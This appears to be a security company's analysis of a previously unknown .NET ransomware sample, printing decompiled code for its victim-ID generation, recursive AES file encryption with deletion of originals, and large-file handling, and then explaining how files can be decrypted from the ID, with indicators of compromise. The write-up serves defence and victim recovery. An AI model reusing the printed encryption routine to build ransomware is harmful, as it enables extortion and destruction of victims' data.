Recently, we had an opportunity to help one of our customers with a ransomware case. One of the encrypted folders looked like the folder shown below.

Folder with encrypted files

Interestingly, at the time of the investigation, there was not much information available about this ransomware strain. The Encrypter.exe was unknown to VirusTotal and the email addresses used by the attackers could not be found using popular search engines. Thus, we went the extra mile and bring our analysis to public attention.

Basic Observations

Once encryption is started you will find further information in the ransom note which is filed as __ATTENTION__.hta. There is no link to an onion page nor any information where the payment should go. It is also not mentioned how much ransom would need to be paid.

Ransomware note

There is also an ID.cl file present which contains the same Attack ID as written in the ransomware note. The Attack ID is also part of each encrypted files’ filename.

PS C:\Users\Compass\Documents> Get-content .\ID.cl
a18b140641d1974e

As the piece of encountered malware does not belong to any popular family, we decided to analyze Encrypter.exe in our malware lab to gain more insight what its capabilities are.

Static Code Analysis

Static analysis of the executable quickly revealed that it is a .NET binary, so we proceeded with its decompilation using dotPeek from JetBrains.

There we got the Main function of the malware decompiled.

using Encrypter.Class;
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;

namespace Encrypter
{
  internal class Program
  {
    private static string Driverbase = (string) null;
    private static string email1 = "dcrypt2022@cyberfear.com";
    private static string email2 = "dcrypt2022@cock.li";
    public static readonly string alertName = "__ATTENTION__";
    private static string password = "a3c8443f2d6a48c2aebb82fda8e06c28";
    private static string password_1 = "a3c8443f2d6a48c2aebb82fda8e06c28";
    private static string MainPassword = "";
    private static string email;
    private static string softwareName = "Encrypter";
    private static string gozo = "a3c8443f2d6a48c2aebb8";
    private static string meta = "";
    private static char[] arr = new char[32];
    private static char[] pa = new char[16];
    private static CoreEncrypter coreEncrypter = (CoreEncrypter) null;

    private static void Main(string[] args)
    {
      Program.MainPassword = Program.password + Program.password_1;
      Utility utility = new Utility();
      GetEmailAddress getEmailAddress1 = new GetEmailAddress();
      GetEmailAddress getEmailAddress2 = new GetEmailAddress();
      Program.gozo = getEmailAddress2.TopSolder();
      for (int index = 0; index < Program.gozo.Length; ++index)
      {
        if (index % 3 == 0)
        {
          Program.meta += Program.gozo[index].ToString();
          Program.arr[index] = Program.gozo[index];
        }
      }
      if (utility.CheckIDFile())
      {
        Program.Driverbase = File.ReadAllText(Environment.CurrentDirectory + "\\ID.cl");
        utility.Write("File  -> UserID = " + Program.Driverbase, ConsoleColor.Green);
      }
      else
      {
        Program.Driverbase = Program.setEmail(Program.arr, 12);
        try
        {
          File.WriteAllText(Environment.CurrentDirectory + "\\ID.cl", Program.Driverbase);
          utility.Write("New  -> UserID = " + Program.Driverbase, ConsoleColor.Yellow);
        }
        catch (Exception ex)
        {
        }
      }
      utility.Write("\nwrite yes and pres Enter !", ConsoleColor.Red);
      utility.Write("\nUserID = " + Program.Driverbase, ConsoleColor.Cyan);
      Alert alert = new Alert(Program.Driverbase, Program.email1, Program.email2);
      Program.email = Program.email1 + " And " + Program.email2 + " (send both) ATTACK ID = " + Program.Driverbase + " Telegram=@decryptionsupport1";
      Program.coreEncrypter = new CoreEncrypter(getEmailAddress2.EnterMail(Program.Driverbase, Program.Driverbase), alert.ValidateAlert(), Program.alertName, Program.email);
      List<char> list = Program.Driverbase.Reverse<char>().ToList<char>();
      string str = "";
      for (int index = 0; index < 4; ++index)
        str += list[index].ToString();
      if (Console.ReadLine().Equals(str))
      {
        utility.Write("\nStart ...", ConsoleColor.Red);
        Program.Enc(Environment.CurrentDirectory);
      }
      Console.ReadKey();
    }

The program defines a few variables and then proceeds to more interesting operations. At line the program checks whether the ID.cl already exists in the current directory using utility.CheckIDFile()

that is implemented as:

public bool CheckIDFile() => File.Exists(Environment.CurrentDirectory + "\\ID.cl");

If the file exists, its content is put into the Program.Driverbase variable, otherwise the variable is set to the result of: Program.setEmail(Program.arr, 12) and the ID.cl file is created with the content of that variable.

Create ATTACK ID

The Program.arr argument to the Program.setEmail function is derived in a loop at line 33 from Program.gozo. And Program.gozo is set in line 32 to the output of GetEmailAddress.TopSolder() function that is defined as: Guid.NewGuid().ToString("N"), practically a random GUID without dashes. Program.setEmail then incorporates in the random hexadecimal string provided as its first argument the current day and month and outputs a 16-digit hexadecimal value. This value is the Attack ID.

public static string setEmail(char[] arr, int email)
{
  string str1 = "";
  string str2 = Convert.ToString(DateTime.Today.Day);
  if (Convert.ToInt32(str2) <= 9)
  {
    arr[2] = '0';
    arr[13] = str2[0];
  }
  else
  {
    arr[2] = str2[0];
    arr[13] = str2[1];
  }
  string str3 = Convert.ToString(DateTime.Today.Month);
  if (Convert.ToInt32(str3) <= 9)
  {
    arr[20] = '0';
    arr[22] = str3[0];
  }
  else
  {
    arr[20] = str3[0];
    arr[22] = str3[1];
  }
  arr[29] = '4';
  foreach (char ch in arr)
  {
    if (ch != char.MinValue)
      str1 += ch.ToString();
  }
  return str1;
}

Authorized Personnel Only ;)

Then, line 62 initializes the CoreEncrypter and line 67 pauses the execution awaiting input from the user. When the last 4 hexadecimal digits of the Attack ID in the reverse order are entered, the program continues with Program.Enc(Environment.CurrentDirectory), otherwise it terminates, and no files are encrypted.

In contrary to the prompt, typing “yes” will not work

File Blacklist and Algorithms

The Program.Enc function enumerates files in the provided directory and executes Program.coreEncrypter.EncryptFile(file) on each file except those containing any of the five predefined strings such as .hta or desktop.ini. Once the encryption of files in the current directory is finished, the malware recursively encrypts files in all subdirectories.

private static List<string> Enc(string sDir)
{
  List<string> stringList = new List<string>();
  foreach (string file in Directory.GetFiles(sDir))
  {
    try
    {
      if (!file.Contains(".[Enc]"))
      {
        if (!file.Contains(".hta"))
        {
          if (!file.Contains("ID.cl"))
          {
            if (!file.Contains("desktop.ini"))
            {
              if (!file.Contains(Program.softwareName))
              {
                Console.ForegroundColor = ConsoleColor.Green;
                Console.WriteLine(file);
                Console.ForegroundColor = ConsoleColor.Green;
                Program.coreEncrypter.EncryptFile(file);
              }
            }
          }
        }
      }
    }
    catch (Exception ex)
    {
    }
  }
  foreach (string directory in Directory.GetDirectories(sDir))
  {
    try
    {
      stringList.AddRange((IEnumerable<string>) Program.Enc(directory));
    }
    catch (Exception ex)
    {
    }
  }
  return stringList;
}

The CoreEncrypter.EncryptFile function configures the AES (Rijndael) parameters such as its key and IV using Rfc2898DeriveBytes class. RFC 2898 describes a popular key derivation method: PBKDF2 (Password-Based Key Derivation Function 2).

public void EncryptFile(string file)
{
  byte[] buffer = new byte[(int) ushort.MaxValue];
  Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(this.password, new byte[8]
  {
    (byte) 1,
    (byte) 2,
    (byte) 3,
    (byte) 4,
    (byte) 5,
    (byte) 6,
    (byte) 7,
    (byte) 8
  }, 1);
  RijndaelManaged rijndaelManaged = new RijndaelManaged();
  rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.KeySize / 8);
  rijndaelManaged.Mode = CipherMode.CBC;
  rijndaelManaged.Padding = PaddingMode.ISO10126;
  rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes(rijndaelManaged.BlockSize / 8);

AES IV and Key Derivation

The password used as an input to the key derivation function is the first parameter of the CoreEncrypter constructor

public CoreEncrypter(string password, string alert, string alertName, string email)
{
  this.password = password;
  this.alert = alert;
  this.alertName = alertName;
  this.email = email;
}

This constructor was called already in the Main function and getEmailAddress2.EnterMail(Program.Driverbase, Program.Driverbase) was its first argument. As we remember, Program.Driverbase is just the Attack ID and GetEmailAddress.EnterMail function is defined as public string EnterMail(string password, string salt) => this.GetDriv_C(password + salt); with GetDriv_C being:

public string GetDriv_C(string password)
{
  using (SHA512CryptoServiceProvider cryptoServiceProvider = new SHA512CryptoServiceProvider())
  {
    byte[] bytes = Encoding.UTF8.GetBytes(password);
    return Convert.ToBase64String(cryptoServiceProvider.ComputeHash(bytes));
  }
}

So, all parameters of the AES are deterministically derived from the Attack ID and the encryption proceeds as follows.

Encryption Process

The file stream to the original file is opened:

fileStream1 = new FileStream(file, FileMode.Open, FileAccess.ReadWrite);

The crypto stream with the previously configured AES is created:

path = file + ".[Enc][" + this.email + "]";
fileStream2 = new FileStream(path, FileMode.Create, FileAccess.Write);
cryptoStream = new CryptoStream((Stream) fileStream2, rijndaelManaged.CreateEncryptor(), CryptoStreamMode.Write);

The content of the original file is encrypted and written to disk:

do
{
  count = fileStream1.Read(buffer, 0, buffer.Length);
  if (count != 0)
    cryptoStream.Write(buffer, 0, count);
}
while (count != 0);

The original file is deleted:

File.Delete(file);

Large File Handling

The encryption method described above is applied only to files smaller than ~10MB:

if (fileStream1.Length < 10000000L)

For large files, no encryption is applied but the first byte of the file is XORed with 0xff:

else
{
  string destFileName = file + ".[Enc][" + this.email + "]_";
  try
  {
    long position = fileStream1.Position;
    int num = fileStream1.ReadByte() ^ (int) byte.MaxValue;
    fileStream1.Seek(position, SeekOrigin.Begin);
    fileStream1.WriteByte((byte) num);
    fileStream1.Close();
    File.Move(file, destFileName);
  }
  catch (Exception ex)
  {
    Console.ForegroundColor = ConsoleColor.Red;
    Console.WriteLine(ex.Message);
    Console.ForegroundColor = ConsoleColor.Red;
  }
}

Indeed, around 15MB large PDF did not get encrypted, just its first byte got changed:

PS C:\Users\Compass\Documents> Format-Hex '.\Cryptography_part2.pdf.`[Enc`]`[dcrypt2022@cyberfear.com And dcrypt2022@cock.li (send both) ATTACK ID = a18b140641d1974e Telegram=@decryptionsupport1`]_' | select -First 1


           Path: C:\Users\Compass\Documents\Cryptography_part2.pdf.[Enc][dcrypt2022@cyberfear.com And
dcrypt2022@cock.li (send both) ATTACK ID = a18b140641d1974e Telegram=@decryptionsupport1]_

           00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F

00000000   DA 50 44 46 2D 31 2E 37 0D 25 E2 E3 CF D3 0D 0A  ÚPDF-1.7.%âãÏÓ..

Decryption Process

Decryption of small files is easily possible since symmetric cryptography is applied and the used key and IV are derived from the Attack ID that is present in every encrypted filename. For this purpose, we prepared a CyberChef recipe that computes the AES parameters from the Attack ID:

Computing AES parameters from the Attack ID

Then, having the necessary AES parameters, another CyberChef recipe can be used to decrypt a single file.

AES decryption in CyberChef

Conclusion

Glad, not every TA is too sophisticated, and victims get a chance to recover easily.

IoCs

  • E-Mail Address dcrypt2022@cyberfear.com
  • E-Mail Address dcrypt2022@cock.li
  • Telegram ID @decryptionsupport1
  • Filename parts “ATTACK ID”
  • File __ATTENTION__.hta
  • File ID.cl
  • Hashes Encrypter.exe
    • MD5 6925c0efd039f8277b965b71ba4295a4
    • SHA-1 7553cf7aec1b0a0dcd3e0adb35669d93a00796ca
    • Imphash f34d5f2d4577ed6d9ceec516c1f5a744
    • For more hashes see VT

Update: It turns out that the encountered sample is a next generation of a previously described ransomware: https://labs.k7computing.com/index.php/dcdcrypt-ransomware-decryptor/. The attackers updated the Attack ID generation mechanism and changed the value that needs to be entered to run the malware. Nevertheless, file decryption without paying the ransom is still possible.